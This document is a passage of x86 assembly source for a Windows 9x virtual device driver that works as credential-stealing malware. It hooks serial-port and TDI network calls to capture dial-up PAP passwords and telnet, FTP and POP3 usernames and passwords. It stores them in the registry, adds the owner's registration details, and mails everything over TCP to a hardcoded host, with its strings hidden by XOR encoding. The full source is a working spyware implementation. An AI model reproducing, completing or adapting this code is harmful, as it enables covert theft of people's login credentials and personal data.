ConnectionContext dd 0
Request dd 0 ; TDI_REQUEST structure
RequestNotifyObject dd offset32 TdiMail_Callback
RequestContext dd 0
TdiStatus dd 0
TdiAddressOption db 1 ; TDI_ADDRESS_OPTION_REUSE
db 0 ; TDI_OPTION_EOL
TransportAddress dd 1 ; TAAddressCount
dw 14 ; Address length
dw 2 ; Address type - TDI_ADDRESS_IP
dw 0 ; sinport
dd 0 ; sin_addr (0.0.0.0)
dd 0 ; sin_zero
dd 0
Context dd 0 ; Context for TdiOpenConnection
RequestAddr dd 0 ; UserDataLength
dd 0 ; UserData
dd 0 ; OptionsLength
dd 0 ; Options
dd 22 ; RemoteAddressLength
dd offset32 RemoteAddress ; *RemoteAddress
RemoteAddress dd 1 ; TAddressCount
dw 14 ; Address length
dw 2 ; Address type - TDI_ADDRESS_IP
db 0 ; sinport (fuckin net order!!!)
db PORT
db IP_1 ; sin_addr (192.168.0.1)
db IP_2
db IP_3
db IP_4
dd 0 ; sin_zero
dd 0
NDISBuffer dd 0 ; Next
pMailBuffer dd 0 ; Data address
dd 0 ; Pool
SendDataLength dd 0 ; Length
dd 'FUBN' ; Signature "NBUF"
VxD_LOCKED_DATA_ENDS
;---------------------------------------------------------------------------;
; Locked Code Segment ;
;---------------------------------------------------------------------------;
VxD_LOCKED_CODE_SEG
;---------------------------------------------------------------------------;
; _VCOMM_OpenComm hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x x ;
; TracedHandle x x ;
; Index x ;
; pOpenComm_PrevHook x ;
; ;
;---------------------------------------------------------------------------;
BeginProc OpenComm_Hook, HOOK_PROC, pOpenComm_PrevHook, LOCKED
push ebp
mov ebp, esp
; ebp-04h -> saved eax (from pushad)
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> pPortName
; ebp+0Ch -> VMId
pushad
pushfd
cmp Disable, 1 ; Is hook operation disabled?
jz OpenComm_Hook_End
cmp TraceType, 0 ; Is any tracing in progress?
jne OpenComm_Hook_End ; if yes - abort
mov esi, dword ptr [ebp+08h] ; ds:[esi] = pPortName
cmp word ptr [esi], "OC" ; Continue only if port name is "COM"
jne OpenComm_Hook_End
push [ebp+0Ch] ; Push VMId
push [ebp+08h] ; Push pPortName
call [pOpenComm_PrevHook] ; Call the old handler
add esp, 8h
mov [ebp-04h], eax ; blah...
cmp eax, -31 ; If there is error opening the port
jae Dont_Trace_Comm
mov TracedHandle, eax ; Save the comm handle we are tracing
xor eax, eax ; Reset the buffer
mov Index, eax
inc al ; TraceType = 1 (modem trace)
mov TraceType, al
mov BufferSize, 1024
mov LogProc, offset32 ModemLog
Dont_Trace_Comm:
popfd
popad
pop ebp
ret ; Return to caller
OpenComm_Hook_End:
popfd
popad
pop ebp
jmp [pOpenComm_PrevHook] ; Chain to previous hook
EndProc OpenComm_Hook
;---------------------------------------------------------------------------;
; _VCOMM_WriteComm hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x ;
; ;
; Calls: Send_Common ;
;---------------------------------------------------------------------------;
BeginProc WriteComm_Hook, HOOK_PROC, pWriteComm_PrevHook, LOCKED
push ebp
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> hPort
; ebp+0Ch -> achBuffer
; ebp+10h -> cchRequested
; ebp+14h -> cchWritten
pushfd ; save flags on stack
pushad ; save registers on stack
xor eax, eax
cmp Disable, al ; Is hook operation disabled?
jnz WriteComm_Hook_End
cmp TraceType, 1 ; Is this a modem trace?
jnz WriteComm_Hook_End
;---------------------------------------------------------------------------;
; The following code is disabled due to the strange behavior of Windows. ;
; It opens COMx and sends AT commands using this connection. But when the ;
; modem connects, it opens another connection, which name varies and uses ;
; it to send PPP traffic. That's why after opening the COMx connection, we ;
; will log EVERY byte sent through EVERY connection, until the COMx is ;
; closed or the log limit is exceeded. ;
; ;
; mov eax, TracedHandle ; Are we tracing our connection? ;
; cmp eax, [ebp+08h] ;
; jne WriteComm_Hook_End ;
;---------------------------------------------------------------------------;
mov esi, dword ptr [ebp+0Ch] ; esi = achBuffer (source)
mov eax, [ebp+10h] ; eax = cchRequested
call Send_Common
WriteComm_Hook_End:
popad
popfd
pop ebp
jmp [pWriteComm_PrevHook] ; Chain to previous hook
EndProc WriteComm_Hook
;---------------------------------------------------------------------------;
; _VCOMM_CloseComm hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x x ;
; TracedHandle x ;
; ;
;---------------------------------------------------------------------------;
BeginProc CloseComm_Hook, HOOK_PROC, pCloseComm_PrevHook, LOCKED
push ebp
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> hPort
pushfd ; save flags on stack
pushad ; save registers on stack
cmp Disable, 1 ; Is hook operation disabled?
jz CloseComm_Hook_End
cmp TraceType, 1 ; Is this a modem trace?
jnz CloseComm_Hook_End
mov eax, TracedHandle ; If hPort = TracedHandle stop tracing
cmp eax, [ebp+08h]
jne CloseComm_Hook_End
mov TraceType, 0 ; Stop tracing
CloseComm_Hook_End:
popad
popfd
pop ebp
jmp [pCloseComm_PrevHook] ; Chain to previous hook
EndProc CloseComm_Hook
;---------------------------------------------------------------------------;
; TdiConnect hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x x ;
; TracedHandle x ;
; Index x ;
; BufferSize x ;
; IP x ;
; OldCallback x ;
; ;
; Calls: Sendmail, TdiConnect_Callback ;
;---------------------------------------------------------------------------;
BeginProc TdiConnect_Hook
push ebp
mov ebp, esp
; ebp-04h -> saved eax (from pushad)
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Request
; ebp+0Ch -> *TO
; ebp+10h -> *RequestAddr
; ebp+14h -> *ReturnAddr
pushad
pushfd
cmp Disable, 1 ; Is hook operation disabled?
jz TdiConnect_Hook_Jmp
cmp TraceType, 0 ; Is any tracing in progress?
jne TdiConnect_Hook_Jmp ; if yes - abort
mov edi, [ebp+10h] ; edi = *RequestAddr
mov edi, [edi+14h] ; edi = *RemoteAddr
cmp word ptr [edi+06h], 2 ; TDI_ADDRESS_TYPE_IP
jne TdiConnect_Hook_Jmp
xor eax, eax ; Reset the index
mov Index, eax
mov ax, [edi+08h] ; ax = sin_port
cmp ax, 1500h ; ftp?
je Start_Ftp_log
cmp ax, 1700h ; telnet?
je Start_Telnet_log
cmp ax, 6E00h ; pop3?
je Start_Pop3_log
cmp ax, 5000h ; http?
jne TdiConnect_Hook_Jmp
call Sendmail
jmp TdiConnect_Hook_Jmp
Start_Telnet_log:
mov TraceType, 2
mov LogProc, offset32 TelnetLog
mov BufferSize, 500
jmp Start_Log
Start_Ftp_log:
mov TraceType, 3
mov LogProc, offset32 FtpLog
mov BufferSize, 100
jmp Start_Log
Start_Pop3_log:
mov TraceType, 4
mov LogProc, offset32 Pop3Log
mov BufferSize, 100
Start_Log:
mov ebx, [edi+0Ah] ; ebx = in_addr
mov IP, ebx ; Save the IP
mov edi, [ebp+08h] ; edi = *Request
mov eax, [edi] ; Request.ConnectionContext
mov TracedHandle, eax
mov eax, [edi+04h] ; Save old callback
mov OldCallback, eax
mov [edi+04h], offset32 TdiConnect_Callback ; Hook it
push edi
push [ebp+14h]
push [ebp+10h]
push [ebp+0Ch]
push [ebp+08h]
call [TdiConnect_PrevAddr] ; Chain to previous hook
add esp, 10h
mov [ebp-04h], eax ; Save the return value
pop edi ; edi = *Request
mov ebx, OldCallback
mov [edi+04h], ebx ; Restore old callback
cmp eax, 0FFh
je TdiConnect_Hook_End
or eax, eax
je TdiConnect_Hook_End
; There is some error, don't trace
mov TraceType, 0
TdiConnect_Hook_End:
popfd
popad
pop ebp
ret
TdiConnect_Hook_Jmp:
popfd
popad
pop ebp
jmp [TdiConnect_PrevAddr] ; Chain to previous hook
EndProc TdiConnect_Hook
;---------------------------------------------------------------------------;
; TdiConnect_Callback hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; TraceType x x ;
; OldCallback x ;
; ;
;---------------------------------------------------------------------------;
BeginProc TdiConnect_Callback
push ebp
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Context
; ebp+0Ch -> FinalStatus
; ebp+10h -> ByteCount
pushad
pushfd
mov eax, [ebp+0Ch]
or eax, eax
je TdiConnect_Callback_End
mov TraceType, 0
TdiConnect_Callback_End:
popfd
popad
pop ebp
jmp [OldCallback]
EndProc TdiConnect_Callback
;---------------------------------------------------------------------------;
; TdiSend hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x ;
; TracedHandle x ;
; ;
; Calls: Send_Common ;
;---------------------------------------------------------------------------;
BeginProc TdiSend_Hook
push ebp
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Request
; ebp+0Ch -> Flags
; ebp+10h -> SendLength
; ebp+14h -> *SendBuffer
pushfd
pushad
cmp Disable, 1 ; Is hook operation disabled?
je TdiSend_Hook_End
cmp TraceType, 1 ; Is this a TCP trace?
jbe TdiSend_Hook_End
mov edi, [ebp+08h] ; edi = *Request
mov eax, TracedHandle
cmp eax, [edi] ; Are we tracing THIS ConnectionContext?
jne TdiSend_Hook_End
mov edi, [ebp+14h] ; edi = *SendBuffer
mov esi, [edi+04h] ; esi = source buffer
mov eax, [edi+0Ch] ; eax = Length
call Send_Common
TdiSend_Hook_End:
popad
popfd
pop ebp
jmp [TdiSend_PrevAddr] ; Chain to previous hook
EndProc TdiSend_Hook
;---------------------------------------------------------------------------;
; TdiDisconnect hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x x ;
; TracedHandle x ;
; ;
;---------------------------------------------------------------------------;
BeginProc TdiDisconnect_Hook
push ebp
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Request
; ebp+0Ch -> *TO
; ebp+10h -> Flags
; ebp+14h -> *DisConnInfo
; ebp+18h -> *ReturnInfo
pushfd ; save flags on stack
pushad ; save registers on stack
cmp Disable, 1 ; Is hook operation disabled?
jz TdiDisconnect_Hook_End
cmp TraceType, 1 ; Is this a TCP trace?
jbe TdiDisconnect_Hook_End
mov eax, TracedHandle ; If the traced handle is being closed
mov edi, [ebp+08h] ; edi = *Request
cmp eax, [edi] ; [edi] = ConnectionContext
jne TdiDisconnect_Hook_End
; We are disconnected before the buffer is full. We will reset the BufferSize
; to the current and process the buffer anyway.
mov eax, Index
mov BufferSize, eax
xor eax, eax
call Send_Common
; Don't need to stop tracing, because Send_Common should do this.
TdiDisconnect_Hook_End:
popad
popfd
pop ebp
jmp [TdiDisconnect_PrevAddr] ; Chain to previous hook
EndProc TdiDisconnect_Hook
;---------------------------------------------------------------------------;
; TdiCloseConnection hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x x ;
; TracedHandle x ;
; ;
;---------------------------------------------------------------------------;
BeginProc TdiCloseConnection_Hook
push ebp
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Request
pushfd ; save flags on stack
pushad ; save registers on stack
cmp Disable, 1 ; Is hook operation disabled?
jz TdiCloseConnection_Hook_End
cmp TraceType, 1 ; Is this an IP trace?
jbe TdiCloseConnection_Hook_End
mov eax, TracedHandle ; If the traced handle is being closed
mov edi, [ebp+08h] ; edi = *Request
cmp eax, [edi] ; [edi] = ConnectionContext
jne TdiCloseConnection_Hook_End
; We are disconnected before the buffer is full. We will reset the BufferSize
; to the current and process the buffer anyway.
mov eax, Index
mov BufferSize, eax
xor eax, eax
call Send_Common
; Don't need to stop tracing, because Send_Common should do this.
TdiCloseConnection_Hook_End:
popad
popfd
pop ebp
jmp [TdiCloseConnection_PrevAddr] ; Chain to previous hook
EndProc TdiCloseConnection_Hook
;---------------------------------------------------------------------------;
; Send_Common procedure ;
;---------------------------------------------------------------------------;
; Input: ;
; ;
; eax - length of data ;
; esi - data source ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; BufferSize x ;
; Index x x ;
; pBuffer x ;
; ValueName x ;
; dwTemp_1 x ;
; hOurKey x ;
; TraceType x ;
; ;
; Calls: ModemLog, TelnetLog, FtpLog, Pop3Log ;
;---------------------------------------------------------------------------;
BeginProc Send_Common
mov ecx, BufferSize
mov ebx, Index ; ebx = Index
sub ecx, ebx ; ecx = free space in buffer
mov edi, pBuffer ; edi = pBuffer+Index (destination)
add edi, Index
cmp ecx, eax
jbe Do_Copy_Buffer ; If the space in the buffer is not
; enough, don't overrun it
mov ecx, eax ; Else, copy cchRequested bytes
Do_Copy_Buffer:
add ebx, ecx ; Increment the Index
mov Index, ebx
rep movsb ; Copy it in the buffer
mov ecx, BufferSize
jz Send_Common_Abort ; Stop tracing
cmp ebx, ecx ; If Index < BufferSize end operation
jb Send_Common_End
; The buffer is full, precess the log and probably save it in the registry
mov byte ptr [edi], 0 ; Null-terminate the log
inc edi ; Buffer for the value name
push edi ; We need to save this, because
; we will store two bytes in front
; of the string, returned by LogProc
xor ebx, ebx
mov bl, TraceType
mov esi, TraceLetters
mov al, byte ptr [esi+ebx]
mov byte ptr [edi], al ; Store a trace identifier
inc edi
mov byte ptr [edi], 20h ; Store a space
inc edi
mov ValueName, edi
call LogProc ; Process the log
; At this point ALL registers are fucked up, except eax
pop ValueName
test eax, eax ; Is there an error (eax=1)?
jnz Send_Common_Abort
Get_Reg_Value:
; Try to get the value with the same name
xor ebx, ebx
mov dwTemp_1, ebx
push offset32 dwTemp_1 ; cbData
push ebx ; lpszData
push ebx ; fdwType
push ebx ; dwReserved
push ValueName ; lpszValueName
push hOurKey ; phKey
VMMCall _RegQueryValueEx ; Get the value of the key
add esp, 18h
cmp eax, ERROR_FILE_NOT_FOUND ; If key exists
jne Send_Common_Abort
; Save the result in the registry
push BufferSize ; cbData
push pBuffer ; lpszData
push REG_SZ ; fdwType
push 0 ; dwReserved
push ValueName ; lpszValueName
push hOurKey ; phKey
VMMCall _RegSetValueEx ; Set the value of the key
add esp, 18h
; Store 'P' as the default value - flag that there is something to email
push 1 ; cbData
push offset32 Letter_P ; lpszData
push REG_SZ ; fdwType
push 0 ; lpSubKey
push hOurKey
VMMCall _RegSetValue
add esp, 14h
Send_Common_Abort:
mov TraceType, 0
Send_Common_End:
ret
EndProc Send_Common
;---------------------------------------------------------------------------;
; ModemLog procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; pBuffer x ;
; BufferSize x ;
; ValueName x ;
; ;
; Notes: Fucks off all registers, except EAX ;
; Returns: eax = 0 - ok, 1 = error ;
;---------------------------------------------------------------------------;
BeginProc ModemLog
; Try to find the dialed number and copy it as ValueName
mov edi, pBuffer ; Source
xor ecx, ecx
FindATD_Loop:
cmp word ptr [edi], "TA" ; Search for ATD
jne NotATD
cmp byte ptr [edi+2], "D"
jne NotATD
add edi, 3
jmp ATDFound
NotATD:
inc edi
inc ecx
cmp ecx, BufferSize
jae ModemLog_Abort ; ATD not found in the buffer - abort
jmp FindATD_Loop
ATDFound:
mov edx, edi ; edx = beginning of phone number
mov esi, edi
sub ecx, BufferSize
neg ecx ; ecx = size of the rest of buffer
mov ebx, ecx
mov al, 0Dh ; Search for <CR>
repne scasb
jnz ModemLog_Abort ; <CR> not found after ATD command
sub edi, edx
mov ecx, edi ; ecx = phone number length
sub ebx, ecx ; ebx = size of the rest of buffer
mov esi, edx ; beginning of phone number
mov edi, ValueName
rep movsb ; Store the phone number as value name
mov edx, edi ; edx = end of phone number
cmp byte ptr [esi], '~' ; Is PPP directly started (PAP auth)?
jne Tilda_Loop
; It's PAP
PAP_Loop:
cmp dword ptr [esi], 0123C07Eh ; Is it PAP packet?
je PAP_Found
inc esi
dec ebx
jnz PAP_Loop
jmp ModemLog_Abort ; This shouldn't happen, but anyway...
; (either no auth or CHAP)
PAP_Found:
; The PAP packet has the follwing structure:
;
; | 7E | C0 23 | 01 | xx | xx xx | ULen | U S E R | PLen | P A S S |
; | | | | | | | | | |
; |PPP | PAP |code| id |length |user len|username |pass len|password |
;
add esi, 7 ; Point to the Username length field
xor ecx, ecx
mov cl, byte ptr [esi] ; Username length
inc esi
rep movsb ; Copy username
mov ax, 0A0Dh ; Save a <CR> between username & pass
stosw
mov cl, byte ptr [esi] ; Password length
inc esi
rep movsb ; Copy password
jmp ModemLog_Final
Tilda_Loop:
movsb ; Copy until ~ found (until PPP start)
dec ebx
jz Tilda_Not_Found
cmp byte ptr [esi], '~'
jne Tilda_Loop
ModemLog_Final:
xor eax, eax
stosb ; Null terminate the value name
ret
Tilda_Not_Found:
mov byte ptr [edx], 0 ; Null terminate after the phone num
ret
ModemLog_Abort:
xor eax, eax ; eax = 1 (error)
inc eax
ret
EndProc ModemLog
;---------------------------------------------------------------------------;
; TelnetLog procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; pBuffer x ;
; BufferSize x ;
; ValueName x ;
; ;
; Calls: DWord2Str ;
; Returns: eax = 0 - ok, 1 = error ;
; ;
; Notes: Fucks off all registers, except EAX ;
;---------------------------------------------------------------------------;
BeginProc TelnetLog
; Convert the IP to string and store it as value name
mov ebx, IP
mov edi, ValueName
call DWordToStr ; Save the IP as the value name
mov ax, 0A0Dh ; Save a <CR><LF>
stosw
mov esi, edi ; esi = address to write
mov edi, pBuffer
mov ecx, BufferSize
mov ebx, ecx
repne scasb ; Search for <CR>
jne CR_Sequence_NotFound
repne scasb ; Search for second <CR>
jne CR_Sequence_NotFound
std ; Decrement esi & edi
sub ebx, ecx ; ebx - size to the beginning of buffer
mov ecx, ebx
inc ecx ; See the note bellow
inc ecx
xor al, al
repne scasb
; If NULL is found, edi points to the byte before it and we need to do
; inc edi twice. Else, edi would point to the first char in the buffer
; and we don't need to inc it.
; That's why we have done 'inc ecx' twice a couple of lines before.
; This way, if NULL is not found, edi points to the first-2 char
; and we can (and must) do inc edi two times.
inc edi
inc edi
; Actually it doesn't matter if NULL is found. Just copy the rest.
cld ; Increment esi & edi
sub ebx, ecx ; ebx - size of username/pass string
mov ecx, ebx
xor esi, edi ; Swap esi & edi (Preslav Nakow rulez)
xor edi, esi
xor esi, edi
rep movsb ; Copy the user/pass to value name
xor eax, eax
stosb ; Null terminate the value name
mov edi, pBuffer
mov ecx, BufferSize
Null_Loop:
repnz scasb
jnz End_Null_Loop
mov byte ptr [edi-1], '.'
or ecx, ecx
jz End_Null_Loop
jmp Null_Loop
End_Null_Loop:
ret
CR_Sequence_NotFound:
mov byte ptr [esi], 0 ; Null terminate after the IP
ret
EndProc TelnetLog
;---------------------------------------------------------------------------;
; FtpLog procedure ;
;---------------------------------------------------------------------------;
; Used variables Read Write ;
; ;
; pBuffer x ;
; BufferSize x ;
; ValueName x ;
; ;
; Calls: Pop3Log, DWord2Str ;
; Returns: eax = 0 - ok, 1 = error ;
; ;
; Notes: Fucks off all registers, except EAX ;
;---------------------------------------------------------------------------;
BeginProc FtpLog
call Pop3Log ; Process exactly like pop3
test eax, eax
jnz FtpLog_End
mov edi, ValueName
add edi, 10 ; edi points to the username+1
cmp dword ptr [edi+4], 'suom' ; Is the username 'anonymous'?
jne FtpLog_End
cmp dword ptr [edi], 'ynon'
jne FtpLog_End
FtpLog_Abort:
xor eax, eax ; eax = 1 (error)
inc eax
ret
FtpLog_End:
ret ; eax is set and the value name is
; already null-terminated
EndProc FtpLog
;---------------------------------------------------------------------------;
; Pop3Log procedure ;
;---------------------------------------------------------------------------;
; Used variables Read Write ;
; ;
; pBuffer x ;
; BufferSize x ;
; ValueName x ;
; ;
; Calls: DWord2Str ;
; Returns: eax = 0 - ok, 1 = error ;
; ;
; Notes: Fucks off all registers, except EAX ;
;---------------------------------------------------------------------------;
BeginProc Pop3Log
; Convert the IP to string and store it as value name
mov ebx, IP
mov edi, ValueName
call DWordToStr ; Save the IP as the value name
mov ax, 0A0Dh ; Save a <CR><LF>
stosw
mov esi, pBuffer
mov ecx, BufferSize
mov ebx, ecx
mov eax, 'RESU' ; Search for USER
USER_or_PASS_Loop:
cmp dword ptr [esi], eax ; Search for USER or PASS (in eax)
je USER_or_PASS_Copy_Loop_Start
inc esi
dec ecx
jz Pop3Log_Abort
jmp USER_or_PASS_Loop
USER_or_PASS_Copy_Loop_Start:
add esi, 5 ; Skip 'USER' and 'PASS'
USER_or_PASS_Copy_Loop:
cmp byte ptr [esi], 0Dh ; Is <CR> here?
jne Copy_USER_or_PASS
cmp al, 'P' ; Is this a PASS copy?
je Pop3Log_End ; Work done, finish log processing
mov ax, 0A0Dh ; Save a <CR> between username & pass
stosw
mov eax, 'SSAP'
jmp USER_or_PASS_Loop
Copy_USER_or_PASS:
movsb
dec ecx
jz Pop3Log_Abort
jmp USER_or_PASS_Copy_Loop
Pop3Log_Abort:
xor eax, eax ; eax = 1 (error)
inc eax
ret
Pop3Log_End:
xor eax, eax
stosb ; Null-terminate
ret
EndProc Pop3Log
;---------------------------------------------------------------------------;
; DWordToStr procedure - input ebx, edi ;
;---------------------------------------------------------------------------;
; ;
; Input: ebx - dword ;
; edi - lpstr ;
; ;
; Output: edi - points to the next byte after the written string ;
; ;
; Preserves all registers, except edi ;
;---------------------------------------------------------------------------;
BeginProc DWordToStr
pusha
mov cx, 28
Digit_Loop_Start:
mov eax, ebx
shr eax, cl
and al, 0Fh
add al, 48 ; "0"
cmp al, 57 ; "9"
jbe Digit_ok
add al, 7 ; convert 10 to A, 11 to B, etc
Digit_ok:
stosb
sub cl, 4
jge Digit_Loop_Start
xor al, al
stosb
popa
add edi, 8
ret
EndProc DWordToStr
;---------------------------------------------------------------------------;
; Sendmail procedure ;
;---------------------------------------------------------------------------;
BeginProc Sendmail
; ZMH
mov Disable, 1 ; We are busy
; Check if there is something to mail
xor eax, eax
push offset32 dwTemp_1 ; lpcbValue
push eax ; lpValue
push eax ; lpSubKey
push hOurKey ; hKey
VMMCall _RegQueryValue
add esp, 10h
or eax, eax ; cmp eax, ERROR_SUCCESS
jnz Abort_Mail_Alloc
cmp dwTemp_1, 1 ; There is no value there
jbe Abort_Mail_Alloc
; Allocate mail buffer and create the message
VMMCall _HeapAllocate, <MAIL_BUFFER_LENGTH, 0>
or eax, eax ; zero if error
jz Abort_Mail_Alloc
mov [pMailBuffer], eax ; address of memory block
mov [MailPointer], eax
mov esi, offset32 MailData_1
mov edi, eax
mov ecx, cbMailData_1
add MailPointer, ecx
rep movsb
push offset32 dwTemp_1 ; phKey
push offset32 CurrentVersionSubKey ; SubKey
push HKEY_LOCAL_MACHINE
VMMCall _RegOpenKey ; Open the key
add esp, 0Ch
or eax, eax ; cmp eax, ERROR_SUCCESS
jnz Abort_Mail
mov ebx, offset32 sRegisteredOwner
call QueryRegValue
mov ebx, offset32 sRegisteredOrganization
call QueryRegValue
mov ebx, offset32 sSystemRoot
call QueryRegValue
mov ebx, offset32 sVersionNumber
call QueryRegValue
push dwTemp_1 ; hKey
VMMCall _RegCloseKey ; Close the key
add esp, 04h
; Start enumerating the values
mov dwTemp_1, 0
Enum_Loop:
mov BufferSize, MAX_BUFFER_LENGTH
push offset32 BufferSize ; lpcbData
push pBuffer ; lpbData
push 0 ; lpdwType
push 0 ; lpdwReserved
mov eax, pMailBuffer
add eax, MAIL_BUFFER_LENGTH
mov ebx, MailPointer
sub eax, ebx ; Calculate the free space in buffer
mov dwTemp_2, eax
push offset32 dwTemp_2 ; lpcchValue
push MailPointer ; lpszValue
push dwTemp_1 ; iValue
push hOurKey ; hKey
VMMCall _RegEnumValue ; Get the value of the key
add esp, 20h
inc dwTemp_1 ; dwTemp_1 = iValue + 1
cmp eax, ERROR_NO_MORE_ITEMS
je Enum_End
or eax, eax ; cmp eax, ERROR_SUCCESS
jne Abort_Mail
mov esi, pBuffer
mov edi, MailPointer
add edi, dwTemp_2
mov ecx, BufferSize
rep movsb
mov eax, 0A0D0A0Dh ; Add two line breaks
stosd
mov MailPointer, edi
jmp Enum_Loop
Enum_End:
mov esi, offset32 MailData_2
mov edi, MailPointer
mov ecx, cbMailData_2
mov eax, ecx
add eax, MailPointer
sub eax, pMailBuffer
inc eax
mov SendDataLength, eax
rep movsb
; Open address object
push offset32 TdiAddressOption
push 6 ; Protocol (TCP)
push offset32 TransportAddress
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi] ; TdiOpenAddress
add esp, 10h
cmp eax, 0
jnz Abort_Mail
; Save the address handle for future use
mov eax, dword ptr Request
mov AddressHandle, eax
; Open connection object
push offset32 Context ; Context
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi+8] ; TdiOpenConnection
add esp, 8
cmp eax, 0
jnz Abort_Mail
; Save the connection context for future use
mov eax, dword ptr Request
mov ConnectionContext, eax
; Associate the connection context with the address handle
push AddressHandle
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi+10h] ; TdiAssociateAddress
add esp, 8h
cmp eax, 0
jnz Abort_Mail
; Connect to the mail host
push offset32 RequestAddr
push offset32 RequestAddr
push 0 ; TO
mov RequestContext, offset32 Send_1
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi+18h] ; TdiConnect
add esp, 10h
cmp eax, 0FFh ; If pending -> end proc
ret
Call_TDI_CallBack:
push 0 ; ByteCount
push eax ; FinalStatus
push offset32 RequestContext ; pContext
call TdiMail_Callback
add esp, 0Ch
ret
Abort_Mail:
VMMCall _HeapFree, <pMailBuffer, 0>
Abort_Mail_Alloc:
xor eax, eax
mov Disable, al
mov TracedHandle, eax
ret
EndProc SendMail
;---------------------------------------------------------------------------;
; TdiMail_Callback ;
;---------------------------------------------------------------------------;
BeginProc TdiMail_Callback
push ebp
mov ebp, esp
pushfd ; save flags on stack
pushad ; save registers on stack
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> pContext
; ebp+0Ch -> FinalStatus
; ebp+10h -> ByteCount
mov eax, [ebp+08h] ; RequestContext
or eax, eax
je TdiMail_Callback_End
mov ebx, [ebp+0Ch] ; If error -> close connection
or ebx, ebx
jne Close_Connection
jmp dword ptr eax ; RequestContext points to code
Send_1:
mov RequestContext, offset32 Disconnect ; Pointer to next code
mov eax, ConnectionContext ; Get the ConnectionContext
mov Request, eax
push offset32 NDISBuffer
push SendDataLength ; Length
push 0 ; No flags
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi+2Ch] ; TdiSend
add esp, 10h
cmp eax, 0FFh ; If pending -> wait
je TdiMail_Callback_End
or eax, eax ; If error -> Close connection
jnz Close_Connection
jmp dword ptr [RequestContext] ; If ok -> jump to next code
Disconnect:
; Delete the default value (send is done)
xor eax, eax
push eax ; cbData
push offset32 Zero ; lpszData
push REG_SZ ; fdwType
push eax ; lpSubKey
push hOurKey
VMMCall _RegSetValue
add esp, 14h
mov eax, ConnectionContext
mov Request, eax
mov RequestContext, offset32 Close_Connection ; Pointer to next code
xor eax, eax
push eax ; ReturnInfo
push eax ; DiscConnInfo
push eax ; Flags
push eax ; TO
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi+1Ch] ; TdiDisconnect
add esp, 14h
cmp eax, 0FFh ; If pending -> wait
je TdiMail_Callback_End
Close_Connection:
VMMCall _HeapFree, <pMailBuffer, 0>
xor ah, ah ; Undisable
mov Disable, ah
mov eax, AddressHandle
mov Request, eax
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi+04h] ; TdiCloseAddress
add esp, 4h
TdiMail_Callback_End:
popad
popfd
pop ebp
ret
EndProc TdiMail_Callback
;---------------------------------------------------------------------------;
; QueryRegValue subroutine. ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; dwTemp_1 x ;
; pMailBuffer x ;
; MailPointer x x ;
; dwTemp_2 x ;
; ;
; Input: dwTemp_1 - opened key ;
; ebx - lpszSubKey ;
; ;
; Returns: returns to Abort_Mail if there is an error ;
;---------------------------------------------------------------------------;
BeginProc QueryRegValue
mov eax, pMailBuffer ; Calculate the free space in buffer
add eax, MAIL_BUFFER_LENGTH-9
sub eax, MailPointer
mov dwTemp_2, eax
push offset32 dwTemp_2 ; cbData
push MailPointer ; lpszData
push REG_SZ ; fdwType
push 0 ; dwReserved
push ebx ; lpszSubKey
push dwTemp_1 ; phKey
VMMCall _RegQueryValueEx ; Get the value of the key
add esp, 18h
or eax, eax ; cmp eax, ERROR_SUCCESS
jne Abort_Query
mov edi, pMailBuffer
mov ecx, MAIL_BUFFER_LENGTH
mov al, 0
repnz scasb
jnz Abort_Query
dec edi
mov eax, 0A0D0A0Dh ; Add two line breaks
stosd
mov MailPointer, edi
ret
Abort_Query:
pop eax ; Blah... Is approved by M$ as a
push offset32 Abort_Mail ; "good programming technique"? :-)
ret
EndProc QueryRegValue
;---------------------------------------------------------------------------;
; Control Proc ;
;---------------------------------------------------------------------------;
BeginProc Control_Proc
Control_Dispatch Device_Init, Do_Device_Init
clc
ret
EndProc Control_Proc
VxD_LOCKED_CODE_ENDS
;---------------------------------------------------------------------------;
; Initialization Code Segment ;
;---------------------------------------------------------------------------;
VxD_ICODE_SEG
BeginProc Do_Device_Init
pushfd ; save flags on stack
pushad ; save registers on stack
mov edi, ASCIIStart
mov ecx, ASCIILength
Decode_Loop: ; Why 42...? :-)
xor byte ptr [edi], 42
inc edi
loop Decode_Loop
; Allocate memory for the buffer
VMMCall _HeapAllocate, <MAX_BUFFER_LENGTH, 0>
or eax, eax ; zero if error
jz Abort
mov [pBuffer], eax ; address of memory block
